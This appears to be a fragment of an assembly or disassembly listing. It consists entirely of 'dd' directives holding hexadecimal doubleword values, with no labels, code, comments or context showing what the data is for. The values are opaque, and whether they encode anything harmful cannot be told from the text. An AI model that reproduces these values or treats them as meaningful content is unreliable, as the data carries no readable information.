33801D08h, 5DBA1918h, 3C392351h dd 3481073Bh, 2F192116h, 4B6229C7h, 5E67D825h, 17A1F57Fh dd 5E6B14D6h, 38590153h, 313F3CDAh, 1E1C95BAh, 30E41DA3h dd 0A670C823h, 215D2DDEh, 0EFEC962Dh, 0C9B3112Eh, 1412368h dd 39FA8B8Bh, 0B5C4B808h, 0CA334A3Bh, 94A21919h, 3F812343h dd 952022D4h, 232BE899h, 8DAB2AFDh, 40339399h, 49938B30h dd 29FB0807h, 0A3384BA5h, 645E3EBCh, 30474B22h, 0CC526D24h dd 633B5D60h, 0BD3CDF59h, 0A7E9DA36h, 0E83E3432h, 6E3A363Eh dd 0FD7932F3h, 11D85D14h dd 162EE5FBh, 6E2AEE72h, 2D4B3353h, 52A4E32h, 3C34D2D1h dd 31FA2C83h, 26DAAB7Ch, 67E47229h, 910819BFh, 2E0C1F5Eh dd 675771C1h, 16BA62B3h, 0C792A2Ah, 47B2A428h, 148AF1C4h dd 1C4434A4h, 2F9B7CE8h, 8D1E0D54h, 0BC0C31Fh, 0A1B25183h dd 0D64054D6h, 0E128948h, 62244FE6h, 8B219D2Eh, 0B82B1231h dd 6165653Eh, 403F3F8Dh, 1F139478h, 0F1E6A024h, 0E42E253Ch dd 0E72A2EB8h, 2F112D53h, 0B3320933h, 0BC603D62h, 3B321D4Ch dd 3F546B6Ch, 0E208E31Ah, 0A323F80Bh, 27A5DC5Ah, 2977EEACh dd 2220666Bh, 63DDBB7Ah, 0C636146Fh, 4CF8B2h, 3F7D3E7Ah dd 196C1DCFh, 22AE6092h, 2625202Ah, 29D949CEh, 0A4259963h dd 0D9320D9Ah, 0DC3CF3D7h, 1936E772h, 0B3D3B32h, 0B49F3A0Fh dd 321D2A39h, 27A37252h, 609419h, 2D794241h, 369BE6A5h dd 0B63B30B3h, 0E19DE637h, 0BEF738B8h, 19BDF63Fh, 0B51C9FD8h dd 9F20A3E0h, 0A59E27A6h, 29A89D2Ah, 2DAC9D7Eh, 31B3EDD8h dd 0C851B590h, 0B9921C6Ch, 3DBC913Eh, 0AA1F9EABh, 9A23A24Ah dd 0A49926A1h, 28ABE825h, 2CAF79EFh, 7266AA7Ch, 153502B8h dd 507D15B7h, 0F025B9FBh, 385C81D7h, 56C1A1Bh, 254E210Eh dd 0ADEFE9AFh, 252C9F0Eh, 0B94CC729h, 21106734h, 6B3B175Ch dd 0BCFAF5B1h, 0D81A3C38h, 26D77FF5h, 0E4570665h, 0B9342660h dd 0C4292D2Ah, 347AED74h, 3CF48A37h, 453FFE98h, 69AF32F0h dd 9CB636FAh, 1AD6631Eh, 4627E86Eh, 7D224271h, 42002D40h dd 2B496C28h, 375A6406h, 2A325C32h, 7C283D5Fh, 0F7773A3Dh dd 0FCA5CB1Eh, 83301849h, 0A6BA950Ah, 35AABE26h, 0AFDD3A0Bh dd 0F28D7201h, 5C1D7219h, 2A42983Bh, 0F628C323h, 43F0E1Eh dd 70809B11h, 1682062h, 903473Ah, 2D30466Bh, 2B9C2ABh dd 0BC3078BBh, 4D3064B6h, 3D79B015h, 681BBF7Eh, 28679535h dd 0AC2F62AAh, 290760ACh, 28282AB7h, 0C82FADC7h, 643446CEh dd 38BF23CAh, 0B73A38E5h, 67C3D6F3h, 41E1E07Ch, 232AB1E3h dd 374C1A29h, 900141D7h, 8E4A152Ch, 63363130h, 3713BC50h dd 6C9A683Ch, 0B8F9C4B7h, 1EE24E1Bh, 0A5AA201Fh, 0AC2624BAh dd 0C24066AAh, 7EA2AC32h, 0D1BE18A2h, 3B3AB431h, 0B4B33DB7h dd 3D3DAFBBh, 899A916Fh, 70221D9Eh, 0E11D6AA6h, 0B8C1D8D9h dd 2F2C22AAh, 3C5BA0A3h, 0C01020B2h, 0CE1BB4FCh, 321FBAFFh dd 1C6D3DBBh, 481E7429h, 25152321h, 0EB033AA0h, 2C3414F6h dd 30B750A6h, 1F332332h, 0B9398F62h, 1847B782h, 5FF9533Dh dd 1E1E7138h, 458921D3h, 4FD0168Fh, 288E29D7h, 0B686D7Ah dd 2830919Ah, 59302034h, 39BB7E19h, 1B1A79B4h, 0B6423EF3h dd 72C90D1Eh, 471C3A1Bh, 0CA10E61Eh, 7B17C712h, 890AB814h dd 800EDA08h, 7004C30Ah, 0F4036805h, 1C22F601h, 1F0721h dd 791B6F1Dh, 99175219h, 2D13F315h, 31327F2Dh, 3634AF33h dd 9540769h, 0DB60B42h, 2CB60F9Fh, 10F42EDBh, 0ECA8740Dh dd 68376610h, 0C560789h, 603D2ECBh, 5C8AE260h, 2C377244h dd 7C2C5B22h, 18FF0B85h, 800A3F20h, 29211DC0h, 202E4F21h dd 22EE6642h, 450A0978h, 0DB603260h, 1F3FF726h, 3E3B30FCh dd 0DF1032DCh, 58904C12h, 7CA8005Fh, 0B6FFCC1Fh, 6B21ECDFh dd 79317D4Bh, 1295F3C7h, 22E56223h, 0E8ECC765h, 3AEA343Fh dd 319C332Fh, 7F109641h, 21A49B7Fh, 56293539h, 222C240Dh dd 6830292Eh, 54F8318Bh, 31D4B436h, 3D6A6E69h, 3867B469h dd 0A1727A1Dh, 6D24E721h, 7B574B46h, 697926E9h, 342F1DADh dd 55703390h, 59B77EF3h, 59575E57h, 193D3B3Dh, 6B835D0Dh dd 8B026745h, 0B76F2324h, 57A646Bh, 2B2E22ACh, 4012A210h dd 35365B4Dh, 4F5B32D9h, 5C5F491Ch, 0E12E0400h, 3ADE4A4Fh dd 86727372h, 0A13EA809h, 6F3E801Eh, 0BFD010BDh, 643C16B7h dd 0EC7BC767h, 0AAB0F6FAh, 1CDC2F1Bh, 0DE729F4Fh, 190A8F4h dd 2A206752h, 294FE6CBh, 0AC044779h, 0B7353230h, 47B16136h dd 2D42B23Eh, 96F6D4E9h, 0A01EB29Bh, 74366C88h, 5AE09F74h dd 0C4AF6A20h, 0BD532E37h, 348ADE64h, 38D59CDEh, 49B26838h dd 0FFD7D22Dh, 52889D3Fh, 7D2A7ED4h, 59A4E517h, 76CFA273h dd 696EE2Ch, 323270DEh, 48F732F7h, 1557393Fh, 0B6311C15h dd 485B2C15h, 2E6A2310h, 0D9DA7545h, 257C9C20h, 442F2C29h dd 7C81D82Bh, 0B3393622h, 37184CF7h, 22CB733h, 52530BB6h dd 28DB1F1Eh, 0DA4E22DDh, 0A5504F36h, 8CA96B69h, 61202B2Eh dd 5511BA56h, 6F20DB48h, 0FA760F32h, 1CE4373Dh, 0A084F61Dh dd 0EF2DCB28h, 0DC2699A5h, 0B8A61FE9h, 312F4209h, 345B3031h dd 2C372634h, 1A3B683Bh, 900A7EADh, 0F23E98F4h, 0DEA3795Eh dd 2F5B2026h, 7AEEF28h, 2C2E2C44h, 73CD3303h, 335CFF31h dd 3F36F940h, 3AFEFED4h, 9E39B090h, 7222601Fh, 92CDE9A8h dd 227E2166h, 0AF6539D4h, 0FB02C00Dh, 43C47408h, 0AA2CC752h dd 7E004DBBh, 1F1C1F0Eh, 0F6E1236Bh, 0CECC4777h, 651D0627h dd 32D222Ah, 0B167A9F8h, 6631F3EDh, 55A2FF7Eh, 0FD46F378h dd 0F3D34D1Ah, 24D7569Ch, 0EC78E87Ch, 0D55EFFCCh, 1AF32BD6h dd 380FC2ACh, 0A4BE3031h, 6B341271h, 0AC0E97B9h, 0F23F41BCh dd 1E1E774Bh, 27A9204Ah, 6DE784A9h, 0D3A9FFD7h, 37537D2Dh dd 3072A4BBh, 3E427938h, 3FD2F1B3h, 34FEFCBCh, 1F1D74F3h dd 64612329h, 4C3D41E3h, 36AAEE26h, 2F20AC0Ah, 0B2FFBB7Fh dd 67CA6C63h, 0A7B03837h, 152DFCAAh, 354C56BFh, 611B5293h dd 0B4657327h, 0AB3DE40Ch, 2EEC3F7Bh, 0D9396E62h, 3F143138h dd 0BA321794h, 176C5BFCh, 5C111B68h, 603143Eh, 0AF0CE62Bh dd 4D874645h, 0AF744877h, 6F2712E9h, 3B6CADBEh, 33373935h dd 6B6D6939h, 5BAE62DDh, 61419009h, 0CCCA3520h, 0C62B1934h dd 26BA2B6Dh, 4715AF9Ch, 800BAF9h, 3868F5F2h, 0FAB0F8ACh dd 35211453h, 0E1115B08h, 3225041Eh, 0ECCD7415h, 8B0A5838h dd 310D4316h, 367AC12Ch, 0DE4D6563h, 390AA32Bh, 2E727CD0h dd 129519DEh, 0CBF1AB9h, 2F19317Dh, 2B55E7A3h, 7DEC18EAh dd 0FD32ADE6h, 0B7E431B0h, 0BB6DE334h, 3FBEE338h, 0FC19BDE2h dd 75FB1C9Fh, 0A6CB20A3h, 2AA5CA27h, 0D829A8D9h, 0C82DAC20h dd 9DB230B3h, 393713CAh, 3870386Ch, 99373CBFh, 1E5C111Eh dd 24A07480h, 0BF2767B8h, 69BE286Ah, 0B72BD329h, 0D16233C1h dd 35DD6636h, 43383DEDh, 3DBE3F3Dh, 1C122F19h, 2394301Eh dd 24279421h, 2A2B2734h, 220A1429h, 30801DE5h, 0DE3786D3h dd 3E30F789h, 3935EE38h, 2B7AE63Ch, 2183ED11h, 0C1862C11h dd 319027E6h, 0A629AB9Fh, 0F1600BA2h, 6B6B3331h, 3935BE52h dd 0BC98603Eh, 0DF187EFAh, 0EC1F1D8Dh, 1BDC221Eh, 37271925h dd 332B3529h, 2F2F312Dh, 0CB332D31h, 3828362Ah, 3C243A26h dd 1B203E22h, 1F011D03h, 3C223EDFh, 38263A24h, 0EBAF2CC8h dd 2C697959h, 37F22DE2h, 3475315Eh, 48397902h, 427E2C0Eh dd 4E89389Fh, 0C8C9221Ch, 0A323144Ah, 322E48E7h, 2A982EBBh dd 76A5B020h, 0B5DD2717h, 717B5839h, 708D3CBBh, 685CEB2Ch dd 325EDF1Ah, 0A52E2269h, 454277Ah, 17500456h, 4D300D52h dd 49173372h, 391D3436h, 183E3B49h, 6F3E1F4Dh, 2015131Dh dd 27230224h, 470A2605h, 49452B29h, 432F0E59h, 51415359h dd 38535715h, 18555354h, 7E5B111Dh, 6B7B711Ch, 5A0D0145h dd 0B3CE313Fh, 34AEEC7Dh dd 47352D48h, 630735F8h, 0E3E2DD24h, 0BB2240BAh, 0BD2F2927h dd 98F50862h, 0CA2D399Ch, 3FA6B501h, 0AB18C033h, 0AD138C32h dd 0DA29B836h, 722CB592h, 21B92813h, 713F3019h, 984FF323h dd 84E4F02Dh, 0F8CC1A23h, 56EC26C4h, 152DC824h, 30D0E2C6h dd 2243213h, 0B969B9BBh, 0A24FD338h, 3F18DE7Bh, 0C8291DF9h dd 0D122C042h, 29C42B87h, 0CE78C21Ch, 31CBE92Ch, 77DB0619h dd 0DCAE37D7h, 0B6D30938h, 703EDC0Eh, 0F72C1CF8h, 0E722F2EAh dd 72EA53Ch, 2B2DE87Ah, 2F66EF15h, 30CD592Ch, 0F70FF534h dd 2B0A0D30h, 0BF66513Dh, 95029C0Ah, 726529E7h, 7E47674h dd 7A010C63h, 8F0E2E2Ah, 0B7CECD40h, 227540CCh, 4EC6C7B4h dd 0E38BC34h, 0F54A4B1Fh, 7537AE13h, 2DF4E942h, 0C1D71474h dd 295CA990h, 100C2FA5h, 0BC6482F4h, 0D1B49AA6h, 0DC3B3B3Fh dd 92F32B84h, 505E3E1Dh, 9A858ABh, 89A5FEF5h, 0C46CF239h dd 602B9E8Eh, 35936719h, 0AA353476h, 296B3B38h, 4C6DF5B6h dd 1C1EF91Ch, 0C3F0AA83h, 0FAD6724h, 0FBB1A7A5h, 2EFFEF16h dd 0A7E7637Eh, 37E480BFh, 9E78BF31h, 7DB1B693h, 111D13E4h dd 2D212F1Fh, 29252B23h, 25292727h, 2E22532Bh, 323E3020h dd 363A343Ch, 6BBD3838h, 0B19B7AF7h, 9D1D2CD3h, 0ABE7940Bh dd 1FEEA932h, 355D3126h, 3958E2AEh, 30602BA4h, 34623532h dd 39BB3943h, 0FBBF39FAh, 69D2BB3Ch, 0E02CFE1Dh, 0E43827CAh dd 0D7FFA6A6h, 0A824EAACh, 143F2EB8h, 3A1DD28Fh, 6373F40h dd 6431D338h, 1BDC0064h, 6FD31E6h, 0FC22F110h, 88608A7Dh dd 5C6C866Eh, 76F16B83h, 0D37568E8h, 336FE312h, 0D3F63A68h dd 9F85DB4h, 0C1348F5Ch, 0FD78FF46h, 2C7A2E7Ch, 20762278h dd 9E8475F2h, 368E602h, 0DE316537h, 0FC6208DDh, 1B3F28CBh dd 77191B6Dh, 4B037503h, 30343C20h, 7B514D76h, 0DC2D90C2h dd 0BA04EB3Dh, 5C6ABECAh, 3D28F19Ch, 0F83A4B3Bh, 3C4B217Eh dd 9074209Ch, 4B21035h, 0EC66A4A4h, 102C3A9h, 0C10B293Fh dd 1E33D333h, 85DF8606h, 0CC1C8AB0h, 182FFE3Dh, 0EB2B75Eh dd 0BDAF2AB0h, 0AC17F479h, 668EC1E3h, 682ACCA1h, 71BDC01Eh dd 1E223586h, 0D93F9925h, 50B0689Dh, 1EBD4905h, 0A71A6226h dd 4732631h, 1CA33B30h, 0F1B3E1Ah, 1D93BE7Dh, 201F3542h dd 8F01383Eh, 63D2D12h, 1C5C3357h, 0C949513Ch, 2B248420h dd 29BCA9ACh, 0BB2CA129h, 61332FBDh, 355C6163h, 39D9ABF3h dd 103FD33Bh, 4423E3Bh, 6CE471Bh, 2493DDDFh, 28ECCF24h dd 4C64A72Ah, 31AFC6A9h, 0DCF8B94Ch, 0B33543CAh, 0D46DC4A9h dd 92384E6Ah, 0C42E9C24h, 226727F0h, 762F653Ch, 2D1B113Ah dd 10330029h, 25F11522h, 36C0241Bh, 3432F9BBh, 0AE38BAD3h dd 30628C34h, 3AC970EEh, 0AB92Dh, 29292B28h, 0A529087Fh dd 167312Fh, 9A342566h, 7A8D3923h, 3F3C0109h, 1C184EABh dd 0D223E92h, 3478206Bh, 607D3C27h, 2C3D5F29h, 0BD313E24h dd 90B03226h, 0E9C13356h, 39B45343h, 1D1BDB3Fh, 211EF6B7h dd 0B82226A1h, 29F02725h, 28478028h, 346E022Ch, 34597D5Bh dd 52385C26h, 186FB73Dh, 1F55167Dh, 1D62F54Eh, 276309BAh dd 242624BEh, 0B72AB1C0h, 69A3FD7Ch, 0AF366102h, 31AA3502h dd 8C84FDAEh, 5530AB3Fh, 1B5A1C02h, 236D8254h, 17CD7568h dd 2A2B632Dh, 2F606E60h, 8EB2342Fh, 43373302h, 3ABDB200h dd 3D3DB01Fh, 3168DBBBh, 0B1A7AF5Dh, 1B0AE22h, 7826A72Ah dd 0B5447EA2h, 24CF0FBCh, 30B3B3C2h, 0BB94B2B7h, 0B638D03Bh dd 108D1B52h, 320F3F2Ch, 31BCC211h, 8D82539Dh, 7C79B7A9h dd 70FF05A5h, 6150671Bh, 481D5C2Dh, 548313DFh, 0F36A3614h dd 377E4534h, 9B05C1A8h, 1772762Ah, 0AF164114h, 72F5ACCh dd 0FF6A0D80h, 64B4E108h, 0BD321139h, 0B77B6D6Fh, 4C95BC3Ch dd 422D1DEFh, 868218BEh, 290FE1BBh, 0CF3A8C93h, 36DE7D2Bh dd 0DBE3373Fh, 393B4327h, 233E3EEBh, 25BB1830h, 2BD221B0h dd 255013B2h, 0F285308h, 330E275Eh, 3030235Fh, 0E330B22Ah dd 0B1475E84h, 0AC8DB272h, 0BE076E62h, 82B6EE1Dh, 84A98E21h dd 2970C325h, 242AED68h, 37FDAC25h, 0B23BF2B2h, 0B630F83Dh dd 0EF3473F8h, 0F3677F32h, 2A5E8EBFh, 0AD7CE72Ch, 732A2BB6h dd 2BA12D0Ch, 0E61D7B2Dh, 0F50903BBh, 0A3396BF4h, 0F0FBB3F9h dd 7F323030h, 494B4F4Ah, 4A61D994h, 4B25672Fh, 0C33922A5h dd 1CA91A61h, 223AF101h, 0D03EF530h, 4FA8F29Dh, 6E353D35h dd 0FDA133Dh, 55CE5B16h, 0CCF817E3h, 9129E7C0h, 272EAB70h dd 303A29B0h, 3D36FD0Fh, 0FFD1E332h, 3F84333Bh, 141D4136h dd 8B0977D9h, 4DE724E1h, 2714F616h, 18891E29h, 4C91A8Ah dd 0A0732DAh, 3902DE00h, 0A3B180Fh, 2DDF0874h, 1F7C2A38h dd 92154617h, 0F311EA13h, 13391E28h, 17431516h, 0A70A319Bh dd 0DE0FE20Dh, 13A0201h, 591076Ah, 1E94275Eh, 0A71A9224h dd 3235CF00h, 6B2BD7A4h, 0C535522Ah, 0CDB2392Fh, 0D244130h dd 134402F4h, 6BDDA52Ch, 22F926DEh, 0C383FD62h, 246C6723h dd 28CB4CCEh, 0C52DC902h, 0F26AC72Ah, 60547333h, 50DA34F6h dd 3F7C7D38h, 471A8F61h, 909D1CF6h, 383FE220h, 0DB25CFE4h dd 0E62BA182h, 0D1AC3647h, 2599C132h, 0B3CA30F5h, 993FFBF8h dd 5A3AF6B6h, 13DAB918h, 232498F0h, 2BE66027h, 6F2129D2h dd 2C6F1508h, 0F2DA278Eh, 923275AAh, 0B80A86F8h, 0B7363DF8h dd 72953417h, 3AC222DFh, 1E8B3582h, 1888CAB2h, 4FD55309h dd 534E0F2Eh, 77AF7E32h, 67588D1Bh, 591F78FBh, 1E7DB2B5h dd 23204C28h, 79AA0143h, 7E7A38A4h, 0C8AE3028h, 733D2B6Fh dd 42A61B96h, 9CBB3517h, 43223A5Bh, 7C3DFB1Fh, 47401F1Dh dd 619C2024h, 0E8152632h, 0ABB67C5h, 2EAFBD29h, 3CB9A811h dd 36BF36B5h, 953B2179h, 92C0C1A2h, 7D9195Ah, 4222966h dd 662E33E0h, 7B227F2Ch, 0E48E75C4h, 47B939BBh, 573A11A0h dd 335A6883h, 3D3E9276h, 118FBD52h, 2270C4C3h, 574D76D4h dd 7B4C7A26h, 736FF12Bh, 1FE39587h, 38083660h, 53398912h dd 0A6FBBBAh, 19638CCDh, 0E02A1E7Fh, 0F78D567Ch, 78BE976Bh dd 444EC02Ah, 6372FD58h, 39737103h, 2E3866B3h, 0F7DE5508h dd 1DF9EDD6h, 21FC17A6h, 0E6CB3600h, 0CC5527C7h, 9EC30A28h dd 192ECC68h, 0DC2C33D5h, 0D837C497h, 3CC8329Bh, 0E9ADD623h dd 1FEA8A1Ch, 0A1CA3C38h, 27B725D4h, 79A4A434h, 0C72F6D62h dd 3633C342h, 132D34C0h, 3BC85BD0h, 3F3FBD9Ah, 0C2754919h dd 8417645Ah, 6E1BE4DCh, 6E7B790Bh, 4BEC771Dh, 1E156CA7h dd 0BDB80373h, 38123AA5h, 6E37BCEFh, 0F56255B2h, 33A004F8h dd 0A51B0AE3h, 0AD5C2234h, 6D2DAB0Eh, 6131452Dh, 0EE07FDB9h dd 79BEDF9Ah, 3EFC6B23h, 0DF1FD70Ah, 0B3BE5645h, 0B6CB2C20h dd 2B3B0D6Bh, 2B093608h, 0D83F2DE5h, 2830F61Fh, 88F080DDh dd 6938F319h, 128D3DFDh, 17168DE5h, 634DA11Dh, 4F285020h dd 0E87E0B38h, 0B7C63128h, 0DB2A33C3h, 36CFEEDAh, 7F78D939h dd 2F63EC18h, 0FF5404Bh, 0E9133DFh, 666526C3h, 6A18790Bh dd 0E3C5082Ah, 32B1324Fh, 7664F213h, 0BD13A36h, 2EB4309Bh dd 151C9136h, 0A52FD69Ah, 25272387h, 133FAD75h, 6D255EE0h dd 3D316F2Fh, 0C240230Ah, 393B3F58h, 0FDAD33B8h, 97F0B9EDh dd 64BF1D13h, 0CCA33210h, 0A3F72D2Eh, 160B2E6Fh, 3323702Dh dd 0BDEC31F3h, 0B5333673h dd 6C1F1E7Dh, 923F30B4h, 41971572h, 23ABC92Ch, 0A4242527h dd 757531ECh, 0AC7570ACh, 0A3F171F4h, 36377B9Ch, 3A3AD8C2h dd 3E3F97F6h, 0F01C1D51h, 235DE1FFh, 27A30E22h, 2B284A26h dd 1B2C2C15h, 3070651Fh, 3C34352Fh, 0BBC53936h, 3FA8D087h dd 1C1DC73Eh, 39211ED6h, 7099E2FFh, 288A2567h, 2C2DBF2Bh dd 0B3312EA2h, 0F1B739BBh, 3280F43Eh, 633F3B92h, 1C8B1F3Fh dd 2003D21Dh, 644B7421h, 1B2624EEh, 39D42ADFh, 312DF649h dd 10337EBAh, 0BB36BD3Dh, 3C4EC5C1h, 0F36E6826h, 0E0E3191Fh dd 0A8AC21A9h, 0D86027D4h, 692B413Dh, 0EC70EB2Ch, 5A465D45h dd 43364C76h, 6C556D5Dh, 0F5B5955h, 6C7C7458h, 3AE10A9Fh dd 74A54F40h, 5F465B42h, 27AD4F59h, 0B332658Bh, 71535B7Ch dd 1B7B6F33h, 0DD3EFB26h, 1919513Ch, 227E315Eh, 57410376h dd 0AE464E4Bh, 6D2E2BBDh, 0A6C2DCEh, 0BE1BF2CFh, 9218CA60h dd 3D3BFBA1h, 5C175EA5h, 248CFF1Fh, 3DDC6575h, 4EA7262Eh dd 0EEC7AB2Dh, 0F92FAD8Bh, 63F301CEh, 38C5CCBEh, 0BFEACD97h dd 9A6038FCh, 1DDCE45Eh, 0E7A32656h, 45E52426h, 2F9E697Ah dd 0EE018F2Dh, 3641A331h, 0F6068A3Fh, 0FF434639h, 92D953Dh dd 691CDC85h, 0E052277Ah, 3E50E22h, 2BEBFB2Ch, 2B2A4998h dd 33F09918h, 37F145A3h, 0D338FAA4h, 0F36F3B5Eh, 63521AFDh dd 0E3DF1EDAh, 0A5F66B23h, 111926E2h, 0B75C2B5Bh, 307142FDh dd 7534F2E9h, 3949D4ACh, 50D72A8Ah, 0DDE83E7Fh, 0DB03AE1Dh dd 0BE332250h, 99938826h, 0CD2B6A69h, 30EE3DB4h, 8133F32Ah dd 0F914AF85h, 3CFA1139h, 6F0CA7BDh, 6F25FB1Ch, 0E3845420h dd 677B3033h, 5B782914h, 0D01E2D09h, 0EF71AE7h, 37B6549Ch dd 531F4A3Ah, 645F3AECh, 2DBCCC01h, 7322549Bh, 4FCD142Bh dd 0D82A78A4h, 8EFD5829h, 34A14824h, 1EB569F1h, 0F60CB30Eh dd 0A2E609Bh, 1FED97CDh, 29735F76h, 138574B3h, 7D98044Ch dd 0B6AC282Ah, 95BEE9D1h, 855AA8B2h, 9CD06232h, 24D9397Ah dd 5F80BF2Ch, 39FE061Eh, 28E7A17Ch, 0EA52BDE6h, 0A90BCA41h dd 502050EDh, 28139018h, 11D7FE1Eh, 3E5BA479h, 0FE7C976h dd 39FE944Fh, 4BAC61ADh, 254FE530h, 3B59E978h, 0E97F2F2Ch dd 3C165574h, 472C46D4h, 72DA3AF8h, 0FF0C2B35h, 0DD1B1D76h dd 0E32948DFh, 292724CBh, 292995A3h, 3329A778h, 646C315Bh dd 1299B964h, 46181C11h, 1A82143Bh, 0D49F7E1Eh, 0E113E016h dd 0E0CCE3D3h, 0E72FF7FCh, 0CD8DA5C2h, 0A031EF75h, 3BBD3B97h dd 89240F96h, 4E04F93Bh, 683D200Fh, 0AB3F1639h, 0DAA875F0h dd 0E8141B35h, 7A1619A8h, 59C7E4A6h, 3B3853FAh, 33280A1Eh dd 7D8A332Ah, 2CD76C6Dh, 0F71D3D03h, 24412149h, 5747A784h dd 9B0A3E18h, 2E2E5F01h, 0AC773363h, 8031E544h, 6484A38h dd 5E385ADEh, 321D9C13h, 0B0323FBFh, 5532F521h, 5E29FD1Dh dd 0E974344h, 0A748281Fh, 6674E43Bh, 3BFA31AEh, 4B525F1Bh dd 8E5D7F53h, 0B126501Ah, 87AB66E1h, 0DA93CB6h, 0AC440CAAh dd 71A0AA09h, 0BE346561h, 6E601342h, 3DB1C2B1h, 53964160h dd 0E748F62Fh, 0AF53A240h, 0E84DCEEEh, 0A9B82A33h, 332F91A5h dd 72BE87F1h, 881B420h, 17D36A4Dh, 1F7F363Dh, 7D1FBD3Fh dd 57E2A446h, 7B68AE0Eh, 0DA41D99Bh, 7FEFC55Fh, 8A351031h dd 25B33545h, 3C5B2554h, 0A7CCD56Ch, 837F700Ch, 0CAEC225Dh dd 0B921A4A7h, 0C235292Fh, 9F288FCBh, 0DA5D652Dh, 290AAE99h dd 3521A75Bh, 313D333Bh, 19D8983Bh, 0A87FDF2Dh, 3E79A802h dd 697E8367h, 2DA70160h, 456C382Eh, 7535B316h, 71237709h dd 3D01207Ah, 1E1B3E3Ch, 2BA13A68h, 671CE4DAh, 35E7984Eh dd 302E459Ch, 31AF346Ch, 35B32C33h, 0DF9EDE65h, 0BD0EC5C5h dd 1AEF2BC2h, 0F7D18542h, 6A2541F2h, 6E10D941h, 1AD3194Dh dd 734ED2D2h, 612A2891h, 0EC6AD11Dh, 0DB62960Ah, 2CD53F5Ch dd 0DF7CBD30h, 27057093h, 0AD278491h, 420D2CABh, 7072288Bh dd 32F10372h, 3BBC5068h, 0FEB83C37h, 2D72D43Ah, 56341ABEh dd 40001E9Fh, 0AE258360h, 0D60866E8h, 0C52C2BB3h, 31532F10h dd 516A3B53h, 5A280956h, 823C3E5Ah, 51B200Bh, 31E0741Dh dd 0D74B1440h, 7814A6B0h, 8A35291h, 7ED2C2Dh, 745BE3D9h dd 6D64760Bh, 3F333AC1h, 92BB3D3Dh, 96981C29h, 23232115h dd 12AF8154h, 1EA36BA9h, 2F726E2Eh, 0CC622173h, 0EB61921h dd 299FF03h, 1D4A7ABDh, 9945497h, 0E07F6E9Ch, 69252C25h dd 0DBA267B8h, 2E0FAEC3h, 34F6CFD1h, 3676D45Bh, 0D2163833h dd 313B426Dh, 11B99ABEh, 2E264711h, 249021EFh, 0A4794EF1h dd 2DC40D67h, 0CECDED77h, 35A7A5B8h, 0F4B33436h, 3DB3AEB2h dd 9A913F3Dh, 0A81C1E89h, 246EB2A4h, 7E667635h, 0A7A670A9h dd 86C7BCEDh, 0F5913271h, 3DF76425h, 0D53EFF11h, 483CBA3Dh dd 4F4D361Dh, 2D627273h, 2966116Eh, 0B3206940h, 6B38ED7Ah dd 5B27CE38h, 37F63CF1h, 0AF32B23Bh, 70BF7518h, 1F1D269Bh dd 0B4A52F57h, 0B6382023h, 3A902FA7h, 2C2D13D4h, 168D52AFh dd 36560D90h, 9002610Dh, 5F013000h, 21AA273Fh, 1C422217h dd 3E1973E2h, 2F485118h, 0D29ABD3h, 0A135AF0Fh, 25533032h dd 3908852Bh, 0C100B86h, 2DF00EBBh, 752D5E1Dh, 0B311AC13h dd 0B8C2A417h, 5B183F12h, 66FF971Eh, 34F3A730h, 34343628h dd 393B4A30h, 43FFF2Ah, 4A3C1E1Ch, 620F21E1h, 27671D24h dd 652A686Bh, 762E6CA9h, 33173331h, 37475137h, 19AA1F76h dd 3F7F3C7Dh, 1F5E341Ah, 635B4A1Ah, 2734A123h, 5B48980Ch dd 2EB5002Bh, 4D23FFECh, 39353B3Ch, 6A17D337h, 8DF00AD3h dd 1B0CCB27h, 0A151618Ch, 3E44FBD5h, 19C8A4E6h, 2EC33265h dd 32D536A3h, 36A52547h, 0BA363356h, 4B3E43C2h, 548B1F37h dd 40051095h, 72832A4Eh, 62CF7572h, 6C1929CFh, 312C2EA1h dd 0B12B9771h, 0B8B339CAh, 56383A39h, 0E43E5425h, 5F176109h dd 23D2AAA3h, 53D0A096h, 3EEAAC4Ch, 251DAD38h, 0B33331BBh dd 0B7322735h, 7B38D239h, 0B63A437Eh, 6090221Bh, 23214A0Fh dd 0AF726473h, 6CEE2461h, 71122FAAh, 0A120F6DAh, 5CD54835h dd 11351E96h, 3EC4FDF3h, 12D3203Dh, 2220B19Dh, 0C03F2323h dd 12D7D841h, 262658D2h, 91EA2F8Eh, 0DEDCB832h, 0D6B36334h dd 0FCF13BFAh, 236BE73Eh, 0ABC2DE1Eh, 0B1CB71EFh, 3F077CD5h dd 3F2F143Eh, 603C2F1Bh, 70203313h, 0AAB19FDBh, 0FCD24EB4h dd 0DA9625E7h, 9E429014h, 2AA33122h, 0A12FA7ACh, 6223AFE0h dd 0C1C7F138h, 5E85F063h, 0B9903DB6h, 0F526B830h, 353F353Ch dd 141C49DDh, 5C2422EFh, 86FD2A6Bh, 18DB1AD8h, 1CD24BABh dd 0C3F029h, 0C9688EAFh, 0C5359705h, 9E0ED409h, 2FEA8276h dd 13DFB083h, 7A3D11D8h, 219F15D9h, 0DD271A2Ah, 3AC1A425h dd 111CABA7h, 67E377Bh, 6D7F65B7h, 911BF4B5h, 4E920F63h dd 2531CA07h, 0D3333EB6h, 6133A283h, 31E836B0h, 23320B59h dd 2BF760DCh, 1CEA6F78h, 92164AD5h, 81E4E008h, 37A35534h dd 2316E4A7h, 6A88DCC1h, 45262039h, 0D25A39CFh, 533E7595h dd 0AB3E3999h, 1AB7596Ch, 16F168DBh, 0AB6139DFh, 0D9757470h dd 0A125A871h, 0AF4B246Dh, 322830EBh, 0C96E6A6Ch, 19D158D7h dd 0B53E3C3Bh, 90103F7Bh, 0A25C1F46h, 0A4211F61h, 29A80F65h dd 2F2C3B2Bh, 30F04CAFh, 0CACBC332h, 0BA1C33BDh, 6D283BFEh dd 2DD8FF0Fh, 0DF1F7ACFh dd 2F91299Eh, 74AEB628h, 38AB36ADh, 68E6E35h, 2C1EF600h dd 33D46464h, 0B23431EEh, 0E4C1D1ADh, 0AF485DE3h, 0DC744121h dd 32BD3675h, 2B253CC7h, 2F212D23h, 29D8313Fh, 2DD7291Eh dd 1737E96Dh, 68683DBCh, 11CC979Bh, 2283A805h, 8E2586AFh dd 0B634CA72h, 0C355909h, 3293202Dh, 3695C92Fh, 253927FBh dd 213D233Bh, 21C043Fh, 213FE01Eh, 253B233Dh, 29372739h dd 2D332B35h, 2ECF2F31h, 2A342C32h, 26382836h, 223C243Ah dd 0E31B203Eh, 0E0F1C28h, 0FE211799h, 0A026B7A5h, 2B8A2A69h dd 112F5FBDh, 3442492Dh, 49973C25h, 0A928BB39h, 0B3E0E3Eh dd 1C8A1FB6h, 0F821B0F0h, 0DFC026B0h, 3E7AFB2Fh, 